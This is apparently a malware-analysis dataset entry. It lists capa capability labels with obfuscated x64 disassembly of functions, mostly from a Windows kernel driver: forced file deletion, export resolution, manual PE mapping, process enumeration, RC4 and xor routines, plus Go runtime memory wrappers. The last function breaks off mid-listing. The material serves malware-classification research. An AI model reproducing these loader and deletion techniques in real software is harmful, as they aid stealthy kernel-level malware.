joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140014fdf
Capabilities:
Delete file

Disassembly:
push rsi
stc
add r9d, edx
shr r8, cl
push rbx
rcr r9b, cl
bt r9d, r9d
sbb r8w, dx
sub rsp, 0xc8
sal r9b, cl
ror r8, 0x89
lea r8, [rsp + 0x98]
mov dword [r8], 0x30
xor eax, eax
test r9d, 0xd48d41a6
sbb r9b, 0xa0
sub r9b, 0xb3
xor edx, edx
mov qword [r8 + 8], rdx
movzx r9, r15w
xchg r9w, r9w
cmovge r9w, r11w
mov dword [r8 + 0x18], 0x240
mov qword [r8 + 0x10], rcx
setbe r9b
movsxd r9, eax
xorps xmm0, xmm0
movsxd rcx, r9d
movzx ecx, r10w
movups xmmword [r8 + 0x20], xmm0
movzx r9, dx
mov qword [rsp + 0x70], rdx
not r9
bswap ecx
movsx r9w, dil
mov qword [rsp + 0x60], rdx
mov dword [rsp + 0x58], eax
mov cx, r15w
movsx cx, r8b
setno cl
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x20], rdx
cqo
setae r9b
mov dword [rsp + 0x68], 0x100
cdq
mov dword [rsp + 0x40], 0x60
mov cx, 0x9e04
mov dword [rsp + 0x38], 1
movzx r9, di
xchg dl, dl
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x78]
cmovbe edx, ebx
lea r9, [rsp + 0x88]
mov dl, r13b
mov edx, 0x110000
jmp 0x1400150e2
call qword [sym.imp.ntoskrnl.exe_IoCreateFileEx]
test eax, eax
js 0x14001521a
mov rax, qword [sym.imp.ntoskrnl.exe_IoFileObjectType]
cmp spl, 0x23
bt dx, 0x29
mov r8, qword [rax]
btr cx, 0x2b
mov rcx, qword [rsp + 0x78]
test r12d, 0xaabff718
lea rax, [rsp + 0x80]
xadd dx, dx
btc rdx, 0xaa
shr dl, cl
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
neg edx
add rdx, r14
sete dl
mov dword [rsp + 0x20], 0x656c6946
rol dl, cl
movzx rdx, r14w
bts dx, dx
mov edx, 0x110000
sub r9d, r9d
jmp 0x14001515c
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandleWithTag]
mov esi, eax
cmp r13b, sil
test eax, eax
jmp 0x14001516e
js 0x1400151f4
mov rax, qword [rsp + 0x80]
clc
inc cx
xor rcx, r14
mov rcx, qword [rax + 0x28]
mov qword [rcx + 0x10], 0
stc
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_MmFlushImageSection]
mov ebx, eax
mov cl, 0x35
mov rcx, qword [rsp + 0x80]
jmp 0x1400151a9
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, qword [rsp + 0x78]
cmc
stc
test r11, 0xffffffff900fc9b0
sub edx, edx
jmp 0x1400151c4
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
mov eax, esi
cmp ch, 0x1c
test bl, bl
jmp 0x1400151d6
je 0x14001521a
lea rcx, [rsp + 0x98]
jmp 0x1400151e9
call qword [sym.imp.ntoskrnl.exe_ZwDeleteFile]
jmp 0x14001521a
mov rcx, qword [rsp + 0x78]
test r10d, edi
jmp 0x140015202
xor edx, edx
jmp 0x140015209
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
mov eax, esi
btc bx, 0xa2
movzx rsi, r10w
add rsp, 0xc8
setbe bl
jmp 0x14001522d
pop rbx
movzx si, al
cmovl rsi, r9
pop rsi
ret
Function at 0x140015238
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
cmp bpl, 0x3d
clc
push r13
clc
test r9w, r12w
push r12
cmp cl, ah
cmp r10b, 0x85
push rsi
push rdi
push rbx
stc
cmp bl, r9b
sub rsp, 0x20
test rcx, rcx
jmp 0x140015263
je 0x14001537a
mov rsi, rcx
shld bx, bp, 0x3e
xchg ah, bl
shr bh, cl
movsxd rax, dword [rcx + 0x3c]
add bx, 0x9620
movsxd rbx, eax
ror bx, cl
mov eax, dword [rcx + rax + 0x88]
sub ebx, 0xf79ca093
add bl, 0xb6
mov ebx, eax
jmp 0x14001529c
cmp dword [rcx + rbx + 0x18], 0
jmp 0x1400152a6
je 0x14001537a
mov rdi, rdx
mov eax, dword [rsi + rbx + 0x1c]
and r15w, 0xec35
bts r15w, cx
mov ecx, dword [rsi + rbx + 0x20]
seto r12b
mov r14d, ecx
lea r14, [r14 + rsi]
and dh, 0x32
cmp r11w, 0xc50b
xadd r15w, r12w
mov ecx, dword [rsi + rbx + 0x24]
inc r12
mov r15d, ecx
sub ch, 0xb0
ror r12b, 0x2d
add r15, rsi
sub ch, 0xe
cmovl dx, sp
movzx cx, r8b
mov r12d, eax
sar rcx, 0x33
lea r12, [r12 + rsi]
add al, cl
xor r13d, r13d
and rdx, 0x380fbba1
movsx ecx, ax
sub cx, 0xa704
mov eax, dword [r14 + r13*4]
neg cx
mov ecx, eax
test r10b, 0xa8
movsx rdx, ax
rcl rdx, cl
add rcx, rsi
not edx
mov rdx, rdi
call sub.ntoskrnl.exe__stricmp
test eax, eax
jmp 0x140015342
je 0x1400153d3
mov rax, r13
inc ch
movsx cx, r12b
xchg r13, rcx
inc rax
mov ecx, dword [rsi + rbx + 0x18]
bsr r13w, cx
rcl r13b, 0xac
inc r13w
mov r13, rax
cmp rax, rcx
jmp 0x140015374
jb 0x14001531a
xor eax, eax
add r13, r8
movsx esi, r13w
clc
add rsp, 0x20
cmovge r12, r12
movsx bx, sil
movsxd r12, ecx
pop rbx
xchg r12b, dil
movsx rdi, r12w
pop rdi
cmovnp r14w, ax
pop rsi
mov r15b, dl
pop r12
bswap r13d
xchg r14d, r14d
setb r15b
pop r13
not r15w
jmp 0x1400153bd
pop r14
movzx r15, bx
movzx r15d, r13w
setl r15b
pop r15
jmp 0x1400153d2
ret
movzx eax, word [r15 + r13*2]
mov eax, dword [r12 + rax*4]
add rsi, rax
mov eax, 0xe8117fb0
mov rax, rsi
jmp 0x140015384
Function at 0x140015781
Capabilities:
Link function at runtime on windows

Disassembly:
push rsi
jmp 0x14001578a
sub rsp, 0x30
mov rdx, rcx
xorps xmm0, xmm0
jmp 0x14001579c
lea rsi, [rsp + 0x20]
movups xmmword [rsi], xmm0
mov rcx, rsi
jmp 0x1400157ac
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov rcx, rsi
jmp 0x1400157ba
call qword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
nop
cmp r15w, 0x50a4
add rsp, 0x30
pop rsi
ret

Function at 0x140015cf5
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push rsi
push rdi
movzx si, r8b
stc
or r9b, r12b
push rbx
sub rsp, 0x30
ror dil, 0xb9
and di, 0x7013
mov rsi, rdx
movsx di, r10b
mov rdi, rcx
lea r9, [rsp + 0x2c]
rol ecx, 0xa9
mov dword [r9], 0
sub ecx, 0x180a28bd
bsf cx, r15w
mov ecx, 5
sub edx, edx
jmp 0x140015d3f
xor r8d, r8d
jmp 0x140015d47
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov ebx, 0
test eax, eax
je 0x140015de2
mov ecx, eax
cmc
test r10w, cx
cmp eax, 0xc0000004
jne 0x140015eca
mov eax, dword [rsp + 0x2c]
movsxd rdx, r11d
movsx ecx, r10w
mov edx, eax
mov ecx, 1
mov r8d, 0x696a6131
jmp 0x140015d89
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
test rax, rax
je 0x140015eec
mov rbx, rax
movzx r8w, r8b
lea r9, [rsp + 0x2c]
movsx edx, r9w
movsxd rdx, esi
movzx rdx, r14w
mov r8d, dword [r9]
not rcx
mov cx, r8w
mov ecx, 5
movsx dx, r11b
setge dh
mov rdx, rax
jmp 0x140015dcf
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
jmp 0x140015ddc
js 0x140015ef6
mov rcx, rbx
test ecx, 0xfba6bb87
cmp qword [rbx + 0x50], rdi
jmp 0x140015df4
je 0x140015e47
mov r8, rbx
test bpl, spl
sal ecx, cl
mov cx, r9w
mov ecx, dword [r8]
movsx edx, r13w
and rdx, 0xffffffffb10a070c
cmc
mov edx, ecx
test rdx, rdx
je 0x140015ead
mov rax, r8
lea r8, [r8 + rdx]
bsf rcx, r9
sbb rcx, rdi
mov rcx, r8
cmc
jmp 0x140015e37
cmp qword [rax + rdx + 0x50], rdi
jmp 0x140015e41
jne 0x140015e06
test rsi, rsi
je 0x140015ead
mov rax, rcx
shld edx, r13d, 0x8b
and dx, 0x5f3b
sal dh, 0x37
mov rdx, rcx
bsr cx, r8w
ror cl, cl
mov ecx, 0xc0000001
cmc
clc
test r15b, bpl
add rdx, 0x100
jmp 0x140015e80
je 0x140015eb2
mov rcx, qword [rax + 0x130]
movsx rdx, r9w
cqo
jmp 0x140015e98
mov rdx, rsi
jmp 0x140015ea0
call qword [sym.imp.ntoskrnl.exe_PsLookupThreadByThreadId]
mov ecx, eax
jmp 0x140015eb2
mov ecx, 0xc0000001
mov esi, ecx
mov rcx, rbx
xor edx, edx
jmp 0x140015ebe
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov ecx, esi
or ax, 0xb195
mov eax, ecx
clc
add rsp, 0x30
movzx ebx, ax
not rdi
movsx bx, r14b
pop rbx
pop rdi
seta sil
mov sil, 0x90
pop rsi
jmp 0x140015eeb
ret
mov ecx, 0xc000009a
jmp 0x140015eca
mov esi, eax
jmp 0x140015eb4
Function at 0x1400160b7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
movsxd r10, dword [rcx + 0x3c]
mov r9d, dword [rcx + r10 + 0x38]
bswap r8
sub al, 0x95
mov r8d, dword [rcx + r10 + 0x54]
movsxd rax, ebp
jmp 0x1400160d6
add r8d, r9d
lahf
cwde
bswap rax
dec r8d
movzx ax, bpl
xadd al, ah
btc ax, bx
mov eax, r8d
xor edx, edx
cmp r11w, 0xf5ac
test r14w, ax
div r9d
mov eax, r8d
jmp 0x14001610a
sub eax, edx
sal dx, 0x18
not dl
movzx edx, word [rcx + r10 + 6]
test r14d, esi
cmp sil, 5
test rdx, rdx
jmp 0x140016127
je 0x14001621a
lea r8, [rcx + r10]
cmp ebp, 0x268b6a97
add r8, 0x108
sbb cl, r14b
add r8, 0x10
mov rcx, r11
and si, bp
mov ecx, edx
sar rdx, 0xb6
shr r11b, cl
shl ecx, 3
clc
rol edx, 0x2d
movzx rdx, si
lea r10, [rcx + rcx*4]
clc
sub ecx, ecx
jmp 0x14001616f
mov r11, rcx
movzx si, spl
cqo
or dx, 0xe88d
mov ecx, dword [r8 + rcx - 8]
shl dx, cl
mov edx, dword [r8 + r11]
sar esi, cl
cmp edx, ecx
not si
bswap esi
movsx esi, di
cmova ecx, edx
mov esi, eax
shld ax, dx, 0xb5
add ecx, r9d
jmp 0x1400161ac
add ecx, dword [r8 + r11 - 4]
movsx ax, spl
movsx eax, sp
dec ecx
sbb ah, 0x1c
lahf
mov eax, ecx
test esp, 0x111e532c
cmc
xor edx, edx
stc
div r9d
btc ax, 0
neg ah
bt rax, 0xa5
sub ecx, edx
shrd edx, r12d, 0xbd
sar al, cl
xor rdx, 0x7e0c7b38
cmp esi, ecx
lahf
rdtsc
mov eax, ecx
cqo
cmova eax, esi
add r11, 0x28
mov rcx, r11
shl dh, 0x14
mov edx, eax
jmp 0x140016207
cmp r10, r11
jmp 0x14001620f
jne 0x14001616f
jmp 0x14001621d
mov edx, eax
cwde
mov edx, edx
mov sil, r9b
mov eax, edx
movzx esi, dx
setne sil
pop rsi
jmp 0x140016231
ret
Function at 0x140018e01
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
stc
push rbx
cmp si, 0x8b07
stc
cmc
sub rsp, 0x20
stc
test r9w, cx
test rcx, rcx
je 0x140018fc6
mov rsi, rdx
stc
cmp bp, 0x8c09
clc
test rdx, rdx
jmp 0x140018e30
je 0x140018fc6
mov rdi, rcx
cmp r8d, 1
jmp 0x140018e42
je 0x140018ecd
test r8d, r8d
jmp 0x140018e50
jne 0x140018fc6
mov rcx, qword [0x14000ebc8]
stc
test rcx, rcx
jmp 0x140018e66
je 0x140018e8c
xor edx, edx
jmp 0x140018e73
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov qword [0x14000ebd0], 0
movsx edx, bp
movsx r8w, r15b
mov ecx, 0x200
mov rdx, rsi
mov r8, rsi
movzx r8, ax
mov r8d, 0x734b6c6c
jmp 0x140018ea6
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [0x14000ebc8], rax
test rax, rax
jmp 0x140018ebb
je 0x140018fc6
lea rdx, [0x14000ebc8]
jmp 0x140018f48
mov rcx, qword [0x14000ebd8]
jmp 0x140018ede
test rcx, rcx
jmp 0x140018ee6
je 0x140018f0b
xor edx, edx
jmp 0x140018ef3
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov qword [0x14000ebe0], 0
mov dx, 0x478f
movsxd rdx, r13d
mov ecx, 0x200
mov rdx, rsi
setno r8b
mov r8d, 0x73456c6c
jmp 0x140018f22
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [0x14000ebd8], rax
clc
test rax, rax
jmp 0x140018f38
je 0x140018fc6
lea rdx, [0x14000ebd8]
movsxd rcx, ecx
mov rcx, rax
mov r8b, r15b
mov rbx, rdx
jmp 0x140018f58
mov rdx, rdi
movsx r8w, dl
cmovge r8w, r12w
mov r8, rsi
jmp 0x140018f6d
call fcn.14000c500
mov qword [rbx + 8], rsi
movzx dx, dil
mov edx, esi
shr ch, 0x99
btc r8w, di
mov rcx, qword [rbx]
cmp cx, 0xe418
mov r8d, 0x7b
xor sil, 0x84
movsxd rdi, r8d
clc
add rsp, 0x20
xchg rbx, rsi
movzx bx, sil
bswap rbx
pop rbx
mov rdi, 0xffffffffe83ced96
movsx di, r9b
pop rdi
movzx esi, dx
pop rsi
jmp 0x140018fc1
jmp 0x140009d90
sub eax, eax
test r9w, r15w
add rsp, 0x20
pop rbx
movzx rdi, r9w
xchg dil, dil
movzx esi, r8w
pop rdi
movzx si, al
movsx esi, ax
pop rsi
jmp 0x140018fea
ret
Function at 0x14001b61f
Capabilities:
Access pe header
Parse pe header

Disassembly:
push r15
cmc
push r14
cmc
push r13
test r11d, eax
jmp 0x14001b632
push r12
push rsi
jmp 0x14001b63e
push rdi
push rbp
push rbx
cmc
sub rsp, 0x28
cmc
cmp r12b, 0x8c
test rcx, rcx
jmp 0x14001b653
je 0x14001b8db
mov rbx, rcx
shl ah, cl
sal ax, cl
movzx eax, word [rcx]
cmp eax, 0x5a4d
jmp 0x14001b66e
jne 0x14001b8db
mov rsi, rdx
or r12b, 0x9e
add r12, 0xfffffffff3b61730
sub r12b, 0xa9
movsxd r12, dword [rbx + 0x3c]
stc
cmp r13d, edx
add r12, rbx
jmp 0x14001b696
je 0x14001b6aa
cmp dword [r12], 0x4550
jne 0x14001b8db
movzx ebp, word [r12 + 0x14]
inc dx
mov eax, dword [r12 + 0x50]
sub r15w, r12w
movsx dx, r8b
mov r15d, eax
cdq
xor edx, r10d
xor ecx, ecx
cmovp r8w, r11w
mov r8b, bl
xchg r8w, dx
mov rdx, r15
jmp 0x14001b6e3
mov r8d, 0x696d67
jmp 0x14001b6ee
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
test rax, rax
jmp 0x14001b6fc
je 0x14001b8db
mov r14, rax
mov rdi, rax
btc rcx, 0xaa
mov rcx, r14
rol r8, 0x8f
bt r8w, ax
setg r8b
xor edx, edx
mov r8, r15
jmp 0x14001b727
call fcn.14000c400
mov eax, dword [r12 + 0x54]
mov cx, 0xbd06
mov r8d, eax
xchg edx, edx
movzx ecx, r9w
cqo
mov rcx, r14
movzx edx, r15w
movzx dx, spl
not dl
mov rdx, rbx
jmp 0x14001b756
call fcn.14000c500
movzx eax, word [r12 + 6]
stc
test ax, ax
je 0x14001b83f
mov ecx, ebp
stc
sbb r15w, cx
add rcx, r12
not r15b
bt r15w, r15w
add rcx, 0x18
adc r15w, 0x8dac
add rcx, 0x14
shld r15w, r13w, 0x15
movsx r15w, r11b
movsxd r15, eax
mov r15, rcx
and cx, 0xf8ac
shrd cx, r8w, 0x94
sub ch, 0x3f
xor r13d, r13d
mov ecx, dword [r15 - 8]
test rcx, rcx
je 0x14001b812
mov edx, dword [r15 - 4]
bts r8w, r13w
sub r8b, 0x9b
movzx r8w, cl
mov r8d, edx
jmp 0x14001b7d7
test r8, r8
je 0x14001b812
add rcx, r14
cdqe
add dl, r15b
mov dx, 0x22ab
mov eax, dword [r15]
bts edx, esi
mov edx, eax
cmp ah, 0x8a
add rdx, rbx
jmp 0x14001b7ff
call fcn.14000c500
movzx eax, word [r12 + 6]
xchg rdx, rcx
movsx dx, r15b
mov rcx, r13
cqo
inc rcx
movzx edx, ax
btr r13w, 7
add r15, 0x28
xor r13w, r13w
mov r13, rcx
cmp r10b, spl
cmp rcx, rdx
jmp 0x14001b839
jb 0x14001b7ad
mov rcx, rdi
jmp 0x14001b847
call fcn.14001b92f
mov rcx, rdi
call fcn.14001bb44
mov rbx, qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
movsx ecx, sp
mov rcx, rdi
call rbx
mov eax, dword [rax + 0xd8]
mov rax, qword [rdi + rax + 0x58]
sbb ecx, 0xc4044731
add qword [rax], 0x20
movsx ecx, si
bswap cx
mov rcx, rdi
call rbx
mov eax, dword [rax + 0x28]
sal cx, cl
xadd ecx, ecx
dec ch
mov ecx, eax
rol eax, cl
cwde
cmovg ax, r13w
add r14, rcx
mov rcx, rsi
btc ax, r11w
xor edx, edx
not ax
mov rax, r14
call qword [0x14000d1c0]
mov r8d, 0x1000
movsxd rcx, esp
bswap cx
rcr cl, 0xbb
mov rcx, rdi
clc
cmp sil, 0x91
xor edx, edx
call fcn.14000c400
mov al, 1
jmp 0x14001b8d6
jmp 0x14001b8dd
sub eax, eax
add rsp, 0x28
jmp 0x14001b8e6
pop rbx
mov r12w, r8w
movsxd r13, edx
pop rbp
bswap r15
movzx r13d, sp
pop rdi
cmovne r12, r9
mov r14w, 0x5c0f
not r13w
pop rsi
movsx r12w, r8b
movsx r13, r9w
xchg r13b, r15b
pop r12
movsxd r14, r12d
movsx r15w, dl
pop r13
pop r14
setl r15b
bswap r15w
pop r15
jmp 0x14001b92e
ret
Function at 0x14001b92f
Capabilities:
Access pe header

Disassembly:
push r14
test cl, 0x80
push rsi
neg sil
not sil
mov rsi, r15
push rdi
push rbp
bt esi, 0xb
push rbx
shld si, r13w, 0x15
sub rsp, 0x20
mov rsi, rcx
jmp 0x14001b957
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rcx, rsi
cmc
sub rcx, qword [rax + 0x30]
jmp 0x14001b96a
je 0x14001bad7
add rax, 0xb0
jmp 0x14001b97b
je 0x14001bad7
mov eax, dword [rax]
or bl, bpl
test bl, bpl
mov r11, rax
add r11, rsi
cwd
mov eax, ecx
not r8b
rol r9b, 0x28
movzx eax, cx
btc di, si
sal r8, cl
mov edx, ecx
shrd r10d, r13d, 0xac
adc dil, 0xb0
bt r10w, 0x1a
mov r8d, ecx
rcl bl, 0xba
dec r10w
mov edi, 0x33b5d190
shr edx, 0x10
or r9d, esp
bswap di
and r10d, r15d
lea r9, [0x14000bd00]
rcr r10b, 0x82
mov r10, r11
lea rdi, [r11 + 8]
bts rbx, rdx
bswap r11w
bsf r11w, sp
mov r11, rdi
movzx edi, word [rdi]
movsx ebx, si
adc bx, 0xa41d
mov ebx, edi
shr ebx, 0xc
jmp 0x14001ba07
dec ebx
stc
cmp sp, 0x84a6
cmp ebx, 9
jmp 0x14001ba17
ja 0x14001ba93
movsxd r14, dword [r9 + rbx*4 + 0xfe1c]
xchg bx, bx
sbb bl, r10b
btc rbx, 9
add r14, r9
movsx ebx, r15w
mov rbx, rcx
push r14
ret
add r11, 2
movsxd rdi, r13d
mov edi, dword [r10 + 4]
sar bh, 0xa8
add bl, 0x83
bts rbx, rcx
mov rbx, rdi
cmp bl, 0x2e
sar dil, cl
cmovle edi, ebx
lea rbx, [rbx + r10]
bts rdi, r9
mov rdi, r11
cmp r11, rbx
jmp 0x14001bac7
jne 0x14001b9ef
cmp dword [r11], 0
jne 0x14001b9db
add rsp, 0x20
bswap di
movsx r14w, dil
not rdi
pop rbx
movzx ebp, r8w
not r14b
cmovno ebp, r8d
pop rbp
movzx esi, bx
movsxd r14, ecx
movsx di, r10b
pop rdi
jmp 0x14001bb09
pop rsi
mov r14b, 0x80
movzx r14, ax
pop r14
jmp 0x14001bb18
ret
Function at 0x14001bb44
Capabilities:
Access pe header

Disassembly:
push r15
test r10w, r14w
test bx, 0xe0f
push r14
test r11b, bpl
push r13
stc
push r12
push rsi
rcl si, 7
cmc
stc
push rdi
or esi, ecx
push rbx
ror si, cl
bsr rsi, rcx
adc rsi, r14
sub rsp, 0x20
movsx rsi, r15w
mov sil, bl
movzx esi, r13w
mov rsi, rcx
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov eax, dword [rax + 0x90]
sar cl, cl
mov ecx, eax
bt eax, r10d
btr ax, 0x99
adc eax, 0x55b97bb5
mov eax, dword [rsi + rcx + 0xc]
clc
stc
test eax, eax
jmp 0x14001bbab
je 0x14001bca8
lea rcx, [rcx + rsi]
lea rbx, [rsi + 2]
cmp dil, 0x31
adc r14, r11
mov r14, rcx
sal cx, cl
mov eax, eax
cmp dil, 0xb9
bt cx, sp
mov ecx, eax
add rcx, rsi
stc
sub edx, edx
jmp 0x14001bbdd
call fcn.1400039d3
test rax, rax
jmp 0x14001bbea
je 0x14001bc85
mov ecx, dword [r14]
bsf r15d, esp
inc r15d
mov r15d, ecx
sar ch, cl
mov rcx, qword [rsi + r15]
cmp bh, 0x8d
cmc
test rcx, rcx
jmp 0x14001bc0f
je 0x14001bc85
mov rdi, rax
sbb r13b, al
cwde
mov eax, dword [r14 + 0x10]
and r13, r13
mov r12d, eax
mov r13, rsi
shl rdx, 0
sar dx, 0x95
adc dx, bp
mov rdx, rcx
bts rcx, rsi
mov rcx, 0x383ca89a
add rdx, rbx
mov rcx, rdi
jmp 0x14001bc4d
call fcn.140015238
test rax, rax
je 0x14001bc60
mov qword [r13 + r12], rax
mov rax, qword [r13 + r15 + 8]
btr cx, 0xaf
add r13, 8
sub rcx, rbp
neg ch
mov rcx, rax
clc
test rax, rax
jmp 0x14001bc7f
jne 0x14001bc34
mov ecx, dword [r14 + 0x20]
neg ax
add r14, 0x14
movzx eax, bx
mov al, 0x99
and ah, 0x84
mov eax, ecx
clc
test ecx, ecx
jmp 0x14001bca2
jne 0x14001bbc6
add rsp, 0x20
not dil
movzx rsi, r10w
pop rbx
movsx r12w, al
xchg r14b, r12b
mov di, 0xc988
pop rdi
mov r14, r9
pop rsi
not r14w
pop r12
movzx r13, r14w
mov r14d, 0xce04aa01
pop r13
bswap r15
not r14w
pop r14
movzx r15d, cx
not r15
movzx r15w, r9b
pop r15
jmp 0x14001bcf3
ret
Function at 0x140161d11
Capabilities:
Encode data using xor

Disassembly:
test rbp, rbp
lea rsp, [rsp + 8]
je 0x140151e0d
push r9
mov r9d, 0x1fbbf215
mov eax, 0xbf218c9f
lea rax, [0x1401481f0]
movzx r9d, byte [rsi]
push 0xfffffffff43bb3b7
xor r9d, ebx
and r9d, 0xff
mov r9d, dword [rax + r9*4]
shr ebx, 8
xor ebx, r9d
inc rsi
xor ebx, 0x5bb8f2ad
dec rbp
lea rsp, [rsp + 8]
jne 0x14014cac0
jmp 0x140151e0b
pop r9
jmp 0x140171941
call fcn.140159cef
add r11, 0xc
xor ebx, ebx
jmp 0x14014ca9e
not ebx
call fcn.1401612c9
jmp 0x140163167
Function at 0x41af80
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41b110
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x006ad178]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x41afe5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x41b000
add rsp, 0x48
pop rbp
ret
call sym.runtime.add
mov rbx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
sub rbx, rcx
nop dword [rax]
test rbx, rbx
jbe 0x41b01f
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x41b02f
cmp rbx, 0x1000
jae 0x41afeb
jmp 0x41b09a
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x41b042
xor edx, edx
nop
jmp 0x41b091
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x006ad178]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x41b025
jmp 0x41b014
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x006ad178]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call sym.runtime.printlock
lea rax, [0x00564fdd]
mov ebx, 0x18
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x00565624]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x30]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x00568663]
mov ebx, 0x21
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUnusedOS
Function at 0x41b140
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41b36a
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x006ad178]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x41b1b3
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x41b1da
add rsp, 0x50
pop rbp
ret
mov rax, rcx
nop dword [rax]
call sym.runtime.add
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
sub rbx, rcx
mov rcx, rax
mov rax, qword [rsp + 0x68]
test rbx, rbx
jbe 0x41b1fc
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x41b20c
cmp rbx, 0x1000
jae 0x41b1b9
jmp 0x41b28e
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x41b21e
xor esi, esi
jmp 0x41b280
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x006ad178]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
test sil, sil
jne 0x41b202
jmp 0x41b1ee
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x006ad178]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x41b309
call sym.runtime.printlock
lea rax, [0x0056563d]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x68]
call sym.runtime.printuint
lea rax, [0x00565624]
mov ebx, 0x19
nop dword [rax]
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x00560e5a]
mov ebx, 0xd
call sym.runtime.throw
cmp eax, 0x5af
je 0x41b2b1
call sym.runtime.printlock
lea rax, [0x0056563d]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x00565624]
mov ebx, 0x19
nop dword [rax]
call sym.runtime.printstring
